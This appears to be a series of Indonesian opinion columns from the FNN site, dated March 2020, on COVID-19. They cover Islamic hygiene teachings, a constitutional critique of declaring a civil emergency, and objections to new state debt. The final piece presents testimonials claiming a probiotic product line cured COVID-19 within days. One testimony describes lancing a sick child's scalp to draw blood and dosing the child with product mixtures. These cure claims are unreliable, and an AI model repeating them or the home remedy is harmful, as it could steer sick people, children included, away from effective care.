immunity sampai 4,5 persen? Jumlahnya tinggal dikali dua. Maka, yang mati sekitar 12 juta orang. Jumlah yang mati akan lebih banyak daripada penduduk Jakarta. Inggris, yang disebut-sebut mencoba menerapkan skenario herd immunity, gagal dan diobrak-abrik virus ini. Bahkan, perdana menteri dan pewaris tahta Inggris, berhasil diinfeksi virus ini. Para ahli pun menentang skenario kejam tersebut. Bukan hanya akan mengorbankan jutaan nyawa, skenario ini pun penuh dengan ketidakpastian. Seorang peneliti mengatakan virus ini baru memulai perjalanan evolusinya. Di Wuhan maupun Jepang, sudah didapati kejadian ganjil, orang yang sembuh, ternyata bisa terinfeksi lagi. Bahkan di Wuhan angkanya sampai lima persen. Berita lain menyebut angkanya sampai 14 persen. Nabi, sejak 14 abad silam, tidak pernah menyarankan skenario kejam seperti itu. Nabi mengajarkan karantina, isolasi, dan menjaga kebersihan. Mari kita tengok lagi tulisan Dr Craig, yang basah kuyup oleh guyuran hadits. Nabi Muhammad, tulisnya, sangat mendorong manusia mematuhi praktik higienis yang bakal membuatnya aman dari infeksi. “Pertimbangkan hadits-hadits ini, atau perkataan Nabi Muhammad:” “Kebersihan adalah sebahagian dari iman.” “Cucilah tanganmu setelah bangun tidur; kamu tidak tahu ke mana tanganmu bergerak saat tidur.” “Keberkahan makanan terletak pada mencuci tangan sebelum dan setelah makan.” Lalu, bagaimana jika seseorang jatuh sakit? Nasihat apa yang akan diberikan Nabi Muhammad kepada sesama manusia yang sedang didera rasa sakit? Dr Craig kembali bertanya, retoris. Jawabannya, menurut profesor yang tahun lalu menerbitkan buku “Islam in America: Exploring the Issues” (ABC-CLIO 2019), ini, adalah: “Dia (Nabi Muhammad) akan mendorong untuk mencari perawatan medis.” Dr Craig pun mengutip hadits yang sangat terkenal. “Manfaatkan perawatan medis (berobatlah), karena Tuhan tidak menciptakan penyakit tanpa obatnya, dengan pengecualian terhadap satu penyakit –usia tua (pikun).” Hadits ini diriwayatkan Imam Tirmidzi, Abu Daud, dan Ibnu Majah. Hampir sekujur artikel Dr Craig, bercerita tentang Sang Nabi dan sabdanya yang sangat diperlukan umat manusia, hari-hari ini. Dan, yang menurutnya merupakan salah satu poin terpenting, Nabi mengajarkan bagaimana menyeimbangkan iman dan akal. Dr Craig kemudian mengajak kita melihat respons umat beragama, beberapa pekan terakhir. Sebagian orang, tulisnya, bergerak terlalu jauh, dengan menyarankan bahwa berdoa akan lebih baik dan akan menjauhkan dari coronavirus, ketimbang mematuhi aturan dasar tentang social distancing dan karantina. Dr Craig pun mereka-reka, kira-kira apa tanggapan Nabi terhadap pendapat seperti itu. Dan, Dr Craig menjawabnya dengan menukil sebuah kisah unta orang Badui, dalam hadits yang diriwayatkan Imam Tirmidzi. “Pertimbangkan kisah berikut. Suatu hari, Nabi Muhammad melihat seorang lelaki Badui meninggalkan untanya tanpa mengikatnya. Dia (Nabi Muhammad) bertanya kepada orang Badui tersebut, ‘Mengapa tidak engkau ikat untamu?’ Orang Badui itu menjawab, ‘Aku menaruh kepercayaan (tawakal)kepada Tuhan.’ Sang Nabi pun kemudian bersabda, ‘Ikat dulu untamu, baru kemudian tawakkal kepada Tuhan’.” Sebagai kesimpulan, Dr Craig menyatakan bahwa Nabi Muhammad menyarankan umat untuk mencari bimbingan dalam agama mereka, namun Nabi tetap berharap mereka melakukan langkah-langkah mendasar terkait pencegahan, kestabilan, dan keselamatan. “Dengan kata lain, dia {Nabi) berharap umat menggunakan akal sehatnya.” Era Umar bin Khattab Situasi lockdown zaman nabi, juga diterapkan oleh Umar bin Khattab ketika mengunjungi Syam. Cerita ini dikisahkan dalam buku Biografi Umar bin Khattab karya Prof. Dr. Ali Muhammad Ash Shalabi. Pada tahun 18 Hijriyah, suatu hari Umar bin Khattab bersama sabahat-sahabatnya, melakukan perjalanan menuju Syam. Sebelum memasuki Syam, di perbatasan mereka mendengar sebuah kabar tentang wabah penyakit kulit yang menjangkiti wilayah tersebut. Penyakit kulit ini dinamai Wabah Tha’un Amwas. Penyakit menular yang menyebabkan benjolan di seluruh tubuh. Benjolan yang terus tumbuh hingga pecah, membuat penderita mengalami pendarahan hingga kematian. Beberapa waktu kemudian, Gubernur Syam, Abu Ubaidah bin Al Jarrah, datang menemui rombongan Umar di perbatasan. Terjadi percakapan di antara para sahabat dengan Umar. Akhirnya mereka bersepakat untuk mengikuti Hadits Nabi, untuk tidak masuk ke daerah Syam yang sedang mengalami wabah, dan kembali pulang ke Madinah. Syam diberlakukan lockdown. Setiap beberapa waktu sekali, Abu Ubaidah mengabarkan situasi kondisi yang terjadi di Syam, kepada Umar bin Khattab. Satu persatu sahabat Umar meninggal saat wabah, hingga tercatat sekitar 20 ribu orang yang wafat karena wabah. Jumlahnya hampir separuh dari penduduk Syam, termasuk di dalamnya ada Abu Ubaidah. Posisi Gubernur kemudian digantikan oleh Amr bin Ash, Sahabat Umar. Amr bin Ash memerintahkan kepada penduduk Syam untuk saling berjaga jarak, agar tidak tidak saling menularkan penyakit, dan berpencar dengan menempatkan diri di gunung-gunung. Penularan penyakit kusta pun dapat diredam, dan Syam kembali normal Sumber: – https://www.newsweek.com/prophet-prayer-muhammad-covid-19-coronavirus-1492798 Penulis Wartawan Senior.

Darurat Sipil? Apa Yang Mau Dilindungi Pak Presiden?

By Margarito Kamis Jakarta FNN – Selasa (31/03). Corona yang tak terlihat bentuknya itu, memulai serangan mematikannya dari Wuhan, China. Perlahan tapi pasti, hampir negara di dunia menjadi sasaran serangannya. Sangat mematikan. Telah puluhan ribu orang mati. Apa senjatanya, apa strategi, apa taktiknya, dan bagaimana propagandanya, dan seterusnya, semuanya tak terlihat. Mahir menemukan sasaran, cepat dalam penetrasi, dan cekatan dalam mengobrak-abrik benteng pertahanan setiap orang. Itulah pasukan corona. Hebatnya tidak jelas siapa panglimanya? Tidak jelas juga siapa komandan tempurnya? Bagaimana garis komandonya? Itu pulalah pasukan corona ini. Sekali lagi, sangat mengerikan. Ini perang tanpa bentuk. Perang jenis ini paling sulit dihadapi. Ini perang paling berbahaya. Secanggih apapun mesin perang sebuah negara, selalu sulit menghadapi perang jenis ini. Itu sebabnya semua negara-negara top, ambil misalnya Inggris dan Amerika pun kewalahan. Sempoyongan, sejauh ini. Inggris dan Amerika yang dikenal jagoan mengubah tatanan dunia melalui perang dan krisis keuangan itu, tak bisa bersiasat. Tak bisa memanggil senjata hebat dari Arsenalnya menghadapi kepungan virus laknat ini. Rakyat kedua negara ini juga mati, karena virus jahannam ini. Kecenderungannya terus meningkat dari hari ke hari. Itu sebabnya diperlukan strategi dan taktik jitu menghadapi dan melumpuhkannya. Indonesia, harus diakui, sebenarnya telah memiiki senjata canggih, lengkap dengan strategi dan taktik teknis dan politik menghadapi perang ini. Semuanya tersedia dalam Arsenal yang bernama UU No. 6 tahun 2018 Tentang Kekarantinaan Kesehatan. Undang-undang ini disiapkan oleh Presiden Jokowi dua tahun lalu. Undang-undang ini sangat antisipatif. Sangat hebat. Strategi sederhananya adalah begitu virus, pasukan ini mulai menyerang, pada tahap awal sekali pemerintah sudah harus buat perkiraan terhadap ini sumber serangan, jenis senjata (virus), level bahayanya, dan kecepatan serangannya. Lalu buat proyeksi atas efeknya terhadap keamanan “kesehatan masyarakat.” Bila virusnya telah teridentifikasi, kecepatan serangannya, ruang serangannya, dan efeknya terhadap Kesehatan masyarakat, maka pemerintah siapkan tindakan melawannya. Tindakan pertama adalah “Deklarasi Kedaruratan Kesehatan Masyarakat.” Setelah deklarasi ini, barulah dipertimbangkan tindakan-tindakan berikutnya. Tindakan berikutnya adalah melakukan pembatasan. Menurut undang-udang ini, namanya “karantina.” Termasuk pengertian karantina itu adalah “Pembatasan Sosial Berskala Besar.” Begitulah bangsa ini menyiapkan diri menghadapi musuh tak terduga itu. Virus yang hari ini dinamai corona, laknat ini. Undang-undang ini memerintahkan pemerintah menyiapkan segala kebutuhan dasar rakyat untuk sekadar hidup. Di dalamnya termasuk kebutuhan makan hewan peliharaan, manakala pemerintah melakukan pembatasan sosial berskala besar menurut undang-undang ini. Tetapi harus diakui, detail “tindakan-tindakan mitigasi” menurut ilmu kesehatan baru saja diatur. Dan saya percaya saja skema teknis kerjasama pemerintah dengan pemerintah daerah juga diatur dalam PP yang baru terbit ini. Keterlambatan inilah penyebab terbesar tak terkordinasinya tindakan Pemerintah Daerah (Pemda) dengan Pemerintah Pusat. Walau hanya satu PP, tetapi menurut saya cukup masuk akal secara hukum. Mengapa? Undang-undang tidak mengharuskan jumlah PP. Memang Sedikitnya 3 (tiga) pasal dalam undang-undang ini yang memerintahkan pembentukan Peraturan Pemerintah (PP). Tetapi bagi saya satu PP saja sudah cukup. Hal terpenting adalah cakupan materi, dan muatannya harus komprehensif. Bila komprehensif, maka 11 (sebelas) pasal yang memerintahkan pemerintah membentuk Peraturan Menteri (Permen), dapat diminimalkan jumlahnya. Dilihat dari sudut materi, muatan dari pasal-pasal itu, dapat diproyeksikan sedikiitnya tiga menteri harus membuat Permen. Menteri Hukum dan Ham, Menteri Kesehatan dan Menteri Perhubungan. Menariknya, dalam rapat terbatas Senin (30/3) Presiden Jokowi bahkan mengatakan perlu didampingi oleh kebijakan darurat sipil. Tadi sudah saya sampaikan bahwa perlu didampingi adanya kebijakan “darurat sipil” (tanda petik dari saya) (Tempo.co.id 30/3/2020). Pernyataan tentang “darurat sipil” ini sangat menarik dilihat dari sudut Tata Negara. Bagaimana argumentasi konstitusional ternalar antara serangan virus corona dengan eksistensi dari pemerintahan dan Negara Kesatuan Republik Indonesia (NKRI)? Apakah pemerintah atau sebagian pemerintah daerah mulai tak berfungsi? Apakah NKRI Indonesia sedang terancam pecah, atau disintegrasi? Apakah disintegrasi sedang dipelupuk mata? Apakah sebagian rakyat Indonesia menjadi bagian dari pasukan virus corona itu ? Apakah wabah corona dapat diberi status sebagai manusia, yang pemberontak? Protokol penanganan pasukan virus berbeda secara fundamental dengan protokol penanganan pasukan (sekumpulan orang dengan agenda jelas, terorganisir, bersenjata dan bermotif politik) menyerang negara ini. Protokol virus bertolak dari UU No. 6 tahun 2018 tentang Kekarantinaan Kesehatan. Protokol penanganan Tertib Sipil diatur dalam Peraturan Pemerintah Pengganti Undang-Undang (Perpu) Nomor 23 Tahun 1959 Tentang Keadaan Bahaya. Alasan Tata Negara dibalik Perpu berbeda dengan alasan tata negara dibalik UU No. 6 Tahun 2018. Alasan fundamental Tata Negara pada Perpu adalah terganggunya tertib sipil itu sebagai akibat dari hal-hal sebagai berikut: Pertama, adanya serangan bersenjata, atau pengacau oleh orang-orang bersenjata. Kedua, serangan bersenjata itu bermaksud, nyata-nyata atau sembunyi-sembunyi, untuk menggantikan pemerintahan yang sah, atau setidak-tidaknya mengakibatkan pemerintah atau pemerintah daerah yang sah, sebagian atau seluruhnya lumpuh atau tidak dapat berfungsi sebagaimana fungsi pemerintah dalam keadaan tertib sipil. Ketiga, Serangan pasukan itu dimaksudkan untuk melepaskan sebagian wilayah negara kesatuan Republik Indonesia, atau menciptakan negara baru terlepas dari wilayah NKRI. Keempat, membubarkan Negara Kesatuan Republik Indonesia atau setidak-tidaknya menempatkan sebagian pemerintah daerah atau satu daerah di bawah kendali pasukan itu. Semua soal ini, untuk alasan secanggih atau sengawur apapun, tidak bakal ditemukan dalam serangan virus corona jahannam ini. Betul, keadaan tertib sipil saat ini sedang terganggu. Tetapi harus diingat betul bahwa penurunan level tertib sipil saat ini, sama sekali tidak disebabkan oleh gangguan pasukan atau sekelompok orang bersenjata dan bermotif politik. Penurunan derajat tertib sipil saat ini merupakan hasil, dan sekaligus cara sah mencegah virus corona. Penurunan derajat tertib sipil ini, untuk alasan apapun, sah. Mengapa? Penurunan itu merupakan cara pemerintah menghalau virus, yang diyakini sebagai cara ampuh menormalkan kembali tertib sipil itu. Apalagi konsekuensi Tata Negara yang menyertainya Darurat Sipil berbeda sangat mendasar dengan Darurat Kesehatan. Apa bedanya? Pertama, dalam darurat sipil, status Presiden mengalami perubahan. Kedua, harus dibentuk institusi tata negara tambahan. Presiden, dalam keadaan “Darurat Sipil” berstatus sebagai “Penguasa Darurat Sipil Pusat.” Bila darurat sipil diubah, ditingkatkan menjadi “Darurat Militer” maka Presiden berstatus sebagai “Penguasa Darurat Militer Pusat.” Andai keadaan tak menolong sehingga harus ditingkatkan menjadi “Darurat Perang” maka Presiden berstatus sebagai “Penguasa Darurat Perang” Baik Darurat Sipil, Darurat Militer dan maupun Darurat Perang, Presiden dalam melaksanakan fungsinya dibantu oleh satu Badan. Badan itu berisi Menteri Pertama, Menteri Pertahanan, Menteri Dalam Negeri dan Otonomi Daerah, Menteri Luar Negeri, Kepala Staf ASngkatan Darat, Kepala Staf Angkat Laut, Kepala Staf Angkatan Udara, Kepala Kepolisian Negara. Perlukah Badan ini pada Darurat Kesehatan. Tidak. Apa konsekuensi kehadiran Badan itu? Menejemen pembuatan kebijakan berubah. Perumusan kebijakan bernegara dalam mengelola Darurat Sipil, untuk sebagian besar berputar pada pejabat-pejabat ini. Betul, Presiden tetap menjadi center of constitutional authority, tetapi presiden harus mendapat nasihat dari pejabat-pejabat itu. Konsekuensi perubahan menejemn lainnya? Kepala Daerah yang daerahnya ditetapkan berada dalam darurat sipil, harus dibantu oleh Komandan Militer tertinggi di daerah itu, plus Kepala Kepolisian Daerah. Dalam melaksanakan tugasnya, mereka disupervisi oleh Kepala Kejaksaan. Seperti Presiden, Kepala Daerah itu, mau atau tidak, suka atau tidak wajib mendengar nasihat pejabat-pejabat dimaksud. Konsekuensi ini tidak ada pada darurat Kesehatan. Pada Darurat kesehatan, keadaan Tata Negara tidak berubah sedikitpun. Tetapi pembatasan hak bergerak warga negara misalnya, sama untuk keduanya. Hak bicara dan berkorespondensi, tidak dibatasi dalam darurat kesehatan. Pada Dadrurat Sipil, justru dilakukan secara ad hoc, dan represif berdasarkan pertimbangan Penguasa Darurat Sipil Daerah. Selain kesamaan-kesamaan relatif itu, terdapat satu perbedaan. Perbedaan ini dapat disebut fundamental. Pada Darurat Sipil, pemerintah tidak dibebani kewajiban memberi makan dan minum rakyat. Rakyat cari makan sendiri, urus diri sendiri. Sebaliknya, pada Darurat Kesehatan yang diikuti “Pembatasan Sosial Berskala Besar”, pemerintah menanggung biaya makan dan minum rakyat. Tentu alakadarnya. Begitulah perbedaan fundamentalnya dari sudut pandang Tata Negara. Mungkinkah pemerintah menempatkan Darurat Sipil di meja pembuatan keputusan sebagai sekoci ketika pemerintah tak lagi mampu mengurus kebutuhan dasar rakyat? Faktanya pemerintah sudah membebaskan rakyat dari bayar listrik, dan atau bayar setengah saja. UMKM dikasih stimulus. Rakyat miskin mau dikasih uang. Lalu apa? Politik? Bagaimana nalarnya? Energizer disipiln masyarakat? Agak sulit disodorkan sebagai jawabannya. Rakyat pada cari akal dan cara sendiri menjaga diri dan lingkungannya. Mereka bisa terhindar dari kemungkinan menjadi sasaran virus. Sungguh saya tak mampu menjelaskannya. Apakah Darurat Sipil, andai benar bakal dilakukan, akankah dijadikan justifikasi bagi pemerintah melakukan represi terhadap orang-orang yang berbeda haluan politiknya dengan Presiden? Entahlah. Tak bisa berspekulasi. Memang sejarah Tata Negara dan politik bangsa ini dengan kebenaran tak terbantahkan menunjukan tindakan sejenis itu pernah terjadi. Pembubaran paksa pertemuan politik oleh orang-orang yang tergabung dalam “Liga Demokrasi” misalnya, di awal tahun 1960, adalah satu peristiwa kecil yang mematikan dari politik darurat seperti itu. Pak M. Sjahrir, Pak Yunan Nasution, Pak Sjafrudin Prawiranegara, yang ketika itu berbeda haluan politiknya dengan Presiden Seokarno, ditangkap. Mereka dipenjarakan begitu saja. Begitulah adanya pendekatan politik dulu. Itulah hasil politik darurat kala itu. Politik busuk ini tidak ditemukan, dalam perspektif perbandingan dengan misalnya masa Presiden Franklin D. Rosevelt, yang masuk ke kekuasaan di tengah krisis besar ekonomi Amerika. Orang dibiarkan mengeritik tindakannya. Kritik terhadap tindakannya yang menyita emas milik rakyat, tanpa ada ganti rugi yang memadai. Kritik dibiarkan saja begitu. Anehnya, tidak ada satupun tindakan represi kepada pengeritik-pengeritik Rosevelt itu. Mereka dibiarkan bernyanyi dengan nadanya sendiri sampai sempoyongan. Begitulah Rosevelt mengelola krisis. Canggih caranya dan berkelas. Kecanggihannya itulah yang memungkinkan Rosevelt berkuasa selama empat periode. Ini preseden satu-satunya dalam sejarah kepresidenan di Amerika hingga sekarang. Akhirnya, penyakit strok membawa Rosevelt ke akhir jabatan periode keempatnya ke awal yang lebih cepat. Rosevelt lalu digantikan oleh Harry Truman. Indonasia pun merdeka pada masa pemerintah Herry Truman. Begitulah politik bekerja. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate.

Corona Berjangkit, Utang Bakal Kian Melangit?

Oleh Edy Mulyadi Jakarta, FNN - Presiden Joko Widodo hari ini (Selasa, 31 Maret 2020) mengumumkan sejumlah kebijakan perlindungan sosial dan stimulus ekonomi guna menghadapi dampak Covid-19. Tentu saja, ini melegakan. Kabar gembiranya, pemerintah bakal mengalokasikan anggaran hingga Rp405 triliun untuk keperluan tersebut. Jumlah yang lumayan gede itu antara lain Rp75 triliun untuk bidang kesehatan, Rp110 triliun untuk jaring pengaman sosial, dan Rp70,1 triliun untuk insentif perpajakan dan stimulus kredit usaha rakyat (KUR). Sisanya yang Rp150 triliun dialokasikan untuk pembiayaan program pemulihan ekonomi nasional. Dalam program ini termasuk restrukturisasi kredit dan penjaminan serta pembiayaan untuk usaha mikro kecil dan menengah (UMKM) serta dunia usaha. Semua itu dimaksudkan guna menjaga daya tahan dan pemulihan ekonomi. Para dokter dan tenaga medis yang selama ini menjadi pahlawan di garda terdepan melawan virus Corona boleh berlega hati. Pasalnya, anggaran yang disiapkan untuk dukungan bidang kesehatan yang Rp75 triliun itu, di antaranya digunakan perlindungan tenaga kesehatan, terutama pembelian APD. Dana tadi juga bagi pembelian alat-alat kesehatan yang dibutuhkan; seperti: test kit, reagen, ventilator, hand sanitizer, dan lainnya sesuai standar yang ditetapkan Kementerian Kesehatan. Masih di bidang kesehatan, ada dana untuk upgrade 132 rumah sakit rujukan bagi penanganan pasien Covid-19, termasuk Wisma Atlet. Juga ada insentif dokter (spesialis Rp15 juta/bulan), dokter umum (Rp10 juta), perawat Rp7,5 juta, dan tenaga kesehatan lainnya Rp5 juta. Jika, ini jika ya mudah-mudahan tidak terjadi, meninggal ada santunan kematian tenaga medis Rp300 juta. Kabar gembira lain berupa dianggarkannya dana untuk perlindungan sosial. Antara lain, dinaikkannya jumlah Kartu Sembako dari Rp150.000 menjadi Rp200.000 selama sembilan bulan. Jumlah penerimanya juga naik dari 15,2 juta menjadi 20 juta. Begitu juga dengan anggaran Kartu Prakerja, dinaikkan dari Rp10 triliun menjadi Rp20 triliun. Jumlah ini bisa menjangkau sekitar 5,6 juta pekerja informal, pelaku usaha mikro dan kecil. Yang tidak kalah menggembirakan, ada pembebasan biaya listrik selama tiga bulan untuk 24 juta pelanggan listrik 450VA. Sedangkan untuk 7 juta pelanggan 900VA ada diskon 50%. Khusus dukungan logistik sembako dan kebutuhan pokok, pemerintah menyediakan anggaran sebesar Rp25 triliun. Ngutang Lagi Sampai di sini, semua kebijakan tersebut tentu saja amat menggembirakan. Namun senyum lebar tadi berubah jadi kekhawatiran baru. Betapa tidak, anggaran yang Rp405 triliun tadi, ternyata bukan bersumber dari realokasi anggaran. Lantas dari mana? Dari mana lagi kalau bukan (rencana) membuat utang baru. Tidak percaya? Simak baik-baik pernyataan Joko saat mengumumkannya siang tadi, yang di antaranya dia mengatakan, “ Terkait penanganan Covid19 dan dampak ekonomi keuangan, saya menginstruksikan total tambahan belanja dan pembiayaan APBN 2020 untuk penanganan Cofid-19 adalah sebesar Rp405,1 Triliun.” Pada bagian lain, Presiden mengatakan, “ PERPPU juga mengantisipasi kemungkinan terjadinya defisit yang diperkirakan akan mencapai 5,07%. Karena itu perlu relaksasi kebijakan defisit APBN di atas 3%. Namun relaksasi defisit hanya untuk tiga tahun, yaitu tahun 2020, 2021, dan 2022. Setelah itu kembali ke disiplin fiskal maksimal defisit 3 % mulai tahun 2023.” Uraian tersebut jelas sekali menunjukkan akan ada utang baru untuk membiayai anggaran perlindungan sosial dan stimulus ekonomi dalam menghadapi wabah Corona. Pertanyaannya, mengapa tidak menggunakan anggaran yang sudah ada? Bukankah bisa dilakukan realokasi anggaran yang dianggap tidak atau kurang penting? Memang, dalam penjelasannya Joko mengatakan pemerintah tetap berupaya menjaga pengelolaan fiskal yang hati-hati melalui refocusing dan realokasi belanja untuk penanganan Covid-19. Misalnya, dengan realokasi cadangan dan penghematan belanja kementerian dan belanja senilai Rp190 Triliun. Dari penjelasan ini, maka setidaknya akan ada tambahan utang baru di luar yang sudah direncanakan semula sebesar Rp405 triliun - Rp190 triliun = Rp215 triliun. Asal tahu saja, desifit APBN 2020 sebesar Rp302,1 triliun. Dari mana menutupi defisit ini? Jelas ngutang, lah. Artinya, guna mengatasi wabah Corona, total rencana utang kita bakal membengkak menjadi Rp517,1 triliun! Tidak Perlu Utang Baru Pertanyaannya, benarkah tambahan utang baru itu diperlukan? Jawabnya, tidak perlu. Tidak adakah cara lain? Jawabnya, tentu saja ada! Caranya, pemerintah merealokasikan anggaran pembayaran bunga utang yang Rp295 triliun plus cicilan pokok utang Rp359 triliun. Jika 50% saja total anggaran untuk membayar utang yang mencapai Rp654 triliun direalokasikan, maka ada dana Rp327 triliun yang bisa dipakai. Banyak, kan? Lalu, pemerintah juga bisa merealokasi 50% anggaran insfrastruktur yang mencapai Rp419 triliun, sehingga diperoleh angka Rp209,5 triliun. Masih ada lagi, yaitu penghematan 20% anggaran belanja kementerian dan lembaga (K/L) yang mencapai Rp1.600 triliun. Dari sini, ada penghematan Rp320 triliun. Lalu, ada SAL dan SILPA yang angkanya lumayan gede, Rp240 triliun. Sekarang mari kita rekap hasil realokasi dan penghematan anggaran tersebut. Rp327 triliun + Rp209,5 triliun + Rp320 triliun + Rp240 triliun = Rp1.096,5 triliun. Wow, guede bangettt! Jumlah ini jauh di atas kebutuhan dana perlindungan sosial dan stimulus ekonomi yang Rp405 triliun tadi. Bahkan jika karena, misalnya, pemerintah tak punya cukup keberanian untuk merenegosiasi pembayaran utang kepada para kreditor, separuh dari Rp1.096 triliun tadi pun masih lebih besar ketimbang yang RP405 triliun. Doyan Berutang Tapi justru di sinilah masalahnya. Pemerintah, khususnya Menteri Keuangan Sri Mulyani, memang terkenal sangat doyan berutang. Parah! Lebih parah lagi, utang-utang yang dibuat Sri berbunga amat tinggi. Jauh lebih tinggi dibandingkan negara-negara lain. Bunga utang yang dibuat Sri bahkan lebih tinggi dibanding negara-negara yang peringkatnya lebih rendah daripada Indonesia, seperti Thailand, Filipina, Vietnam, dan Kamboja. Pelebaran defisit APN menjadi 5% juga dimaksudkan untuk menyelamatkan Presiden dari pelanggaran UU Keuangan Negara. Di sini disebutkan, batas maksimum defisit yang diizinkan adalah 3% dari PDB. Kalau angkanya tidak dilebarkan, bukan mustahil Joko akan dimakzulkan karena melanggar Undang Undang. Sungguh ironi yang memuakkan. Di tengah gempuran wabah Covid-19 yang mengerikan dan ancaman rakyat kelaparan, penguasa justru sibuk berusaha mempertahankan kekuasaan! Mas Joko, mau sampai kapan Indonesia terjebak dalam jeratan utang? Dan Sri, tidakkah kamu punya kemampuan lain selain berutang? Mosok doktor ekonomi jebolan Amerika seperti kamu ilmunya cetek banget. Mbok jangan malas. Cerdas dan kreatif, lah. Ingat utang kita sudah teramat besar. Statistik Utang Luar Negeri Indonesia (SULNI) yang diterbitkan Bank Indonesia (BI) Maret 2020, mencatat sampai Januari 2020, utang luar negeri kita mencapai US$410,8 miliar. Dengan kurs tengah BI hari ini yang Rp16.367, maka utang itu setara dengan Rp6.724 triliun! Super super besaaarrr! Beban utang yang teramat besar itu telah membebani APBN. Lebih dari 30% anggaran dialokasikan untuk membayar utang. Akibatnya, APBN kita dari tahun ke tahun tidak mampu menjadi penghela perekonomian secara maksimal. Mas Joko, mbok kasihani rakyat... Penulis Wartawan Senior

Testimoni (1): Banyak yang Mengakui, Sembuh Corona Berkat Probiotik Siklus!

Oleh Mochamad Toha Jakarta, FNN - Selasa (31/03). Judul tulisan di atas memang sengaja saya buat seperti itu, karena kenyataannya banyak yang mengakui, dari beberapa orang yang sudah dinyatakan positif terjangkit Virus Corona, bisa sembuh lebih cepat. Ada yang sembuh dalam waktu dua hari! Dus, di tengah wabah Virus Corona, ternyata ada banyak masyarakat yang sudah tergabung dalam Grup Probiotik Siklus (GPS), melakukan pengobatan mandiri. Mereka yang tergabung dalam puluhan GPS ini lebih siap dalam menghadapi serangan virus corona tersebut. Mereka melakukan pengobatan secara mandiri. Kalau pun ada yang sudah dinyatakan positif virus corona oleh rumah sakit tempat dirawat, mereka berhasil sembuh dengan menggunakan varian produk Probiotik Siklus (PS). Dalam tulisan ini akan ditampilkan beragagm testimoni dari beberapa anggota GPS yang sudah dinyatakan positif virus Corona maupun yang mengalami gejala serupa Corona. Seorang bidan yang berkerja di salah satu RS di Bogor menceritakan kasus yang dialaminya. Berikut ini petikannya yang diceritakan dalam WA GPS: “Testimoni dengan (PS) saya setelah berobat ke RS dinyatakan ODP Covid-19 besoknya demam dan tanda-tanda bermunculan langsung dibawa lagi ke RS dan dirawat sebagai PDP. Setelah di beri resep oleh Pa Bas tentunya.” “Alhamdulillah hanya 2 hari gejala-gejala covid lsg hilang, setelah saya dites hasilnya negatif covid dan pasien paling cepat di rawat d rsh. Dirawat tgl 20, tgl 23 sudah boleh pulang Alhamdulillah. Tgl 30 telah kontrol, dan dinyatakan bebas cobid-19 oleh r,h, Trims ps.” Mungkin bisa diceritakan bagaimana awal mulanya masuk RS hingga akhirnya dinyatakan negatif corona? “Hari pertama saya berobat ke RS He. Saya adalah pasien dengan astma sekalian mengantar anak berobat karena demam, saya juga berobat ke poli penyakit dalam. Anak saya boleh pulang dengan kakeknya, sedang saya masih menunggu dokter.” “Setelah saya diperiksa oleh dokter penyakit dalam dengan keluhan beberapa hari ini, ada serangan atsma di pagi hari dan saya memang pernah melakukan perjalanan ke Jakarta tgl 1-3-2019. Menengok saudara sakit struk.” “Selain itu, keluhan dari hari Senin ada kenaikan suhu 37 derajat, keluhan ada lemes, batuk. Lalu saya dianjurkan melakukan ronsen oleh dokter dan hasilnya ada infeksi di pernapasan. Lalu dokter menyarankan untuk di rawat di RS.” “Setelah itu saya menunggu masuk ruangan saya pun masuk ruang isolasi dan diperiksa darah apakah covid atau tidak. Alhamdulillah, hasilnya bagus, saya tidaklah jadi dirawat namun berstatus ODP dan dipulangkan.” “Saya pun berkonsultasi dengan Pa Bas dan diberi resep PS, G14, Bio Enzim. Dan h/g 12, Besoknya keluhan saya semakin berat dengan demam di atas 39,1, kebetulan teman saya menengok dr puskesmas, dan keadaan saya memburuk keluhan flu. Nyeri dada sesak nafas.” “Saya mengkonsumsi PS 1 jam sekali dengan anjuran Prof Bas, karena kondisi saya semakin drop saya dibawa ke RSUD uju.... Be.... Bandung, dan demam masih 38 derajat, dilakukan pemeriksaan lab lagi hasil lab kata suami saya tidak baik jadi saya d rujuk lg ke RS r.h.” “Karena kondisi saya masih drop, sadar tidak sadar sambil diberi oksigen oleh RS. Sambil saya kuat2in minum PS dan juga obat yg diberi RS. Selain itu juga karena suami Herbalis juga diberi gamat emas.” “Propolis, kata suami saya liat kondisinya kayak sekarat jadi panik, segala dikasih. Lalu saya dirujuk ke RS r.h. Bandung. Saya pun masuk ruang isolasi dengan status PDP. Diperiksa darah dironsen lg, periksa swab.” “Hari ke-2 dan ke-3 di sudah tidak demam lagi dan tinggal sesak nafas. Saya pun terus mengkonsumsi PS karena ingin cepat pulang. Karena, disatukan oleh penderita susp covid 19.“ “Alhamdulillah, pasien yg lain masih lemas, saya sudah bisa jalan2 walau masih sesak sesekali. Sambil menunggu hasil lab, hari ke 4 saya sudah boleh pulang karena hasil swab negatif.” “Saya juga sudah nanya sama yg lain biasanya dirawat 6 hari. Alhamdulillah saya hanya 4 hari sudah boleh pulang. Setelah itu saya menjalani karantina mandiri sampai tgl 30 dan kontrol ke RS r.h. dan hasilnya telah terbebas dari covid 19.” “Alhamdulillah saya sudah masuk lg bekerja besok. Sebagai bidan. Trima kasih PS. Sekarang pun saya masih konsumsi untuk pencegahan. Dan agar tidak tertular lagi.” “[25/3 22:11] +62 813-1606-xxx: Terimakasih Sy Kenal PS. Sy baru menyadari kalo yg lagi rame saat ini. Sy Ndak tau benar apa ndaknya, sy Ndak bayak cerita Sama tetangga khawatir jadi heboh tetangga.” “Awal bulan feb lupa tgl, Anak ke3 sy demam, panas, flu..., hampir sepekan, puncaknya sakit kepala sampe Ndak kuat kepala ditekan kan ke lantai sambil pukul2 lantainya.” “Sy binggung....., saat suami sakit yg di luar dugaan sy masih bisa kendalikan diri, tapi saat kemaren sy betul2 shok, sy sampe nangis dan bilang ke RS ya mas....de Risqi cari mobil bw mas ke RS PON.” “Jujur kalo ingat saat anak kesakitan yg sangat panas, Ndak bisa napas, masih sakit kepalnya, mas Aziz Ndak mau ke RS ....malah tambah nangis ..., akhirnya: 1. Saya tusuk titik puncak kepala,( saya spray dgn G 10) sy keluarkan darah sambil di tekan2; 2. Agak berkurang sakitnya tp masih susah napasnya; 3. Buat ramuan G8, 17, biozime, biozime super, bioimun, madu; 4. Alhamdulillah berkurang tp napas masih sulit; 5.bagian punggung sy totok punggung sambil di hangatkan dgn TDP, sekujur badan ay spray dgn G10, sampe rambutnya juga; 6. Sekitar 1 jam kemudian sy beri PS yg dicamur2 tadi...,sy berikan perjam; 7. kejadian dr magrib sampe jam 9 mlm sdh 3x minum PS. “Alhamdulillah....sdh lebih tenang dan sesaknya sdh berkurang walau masih 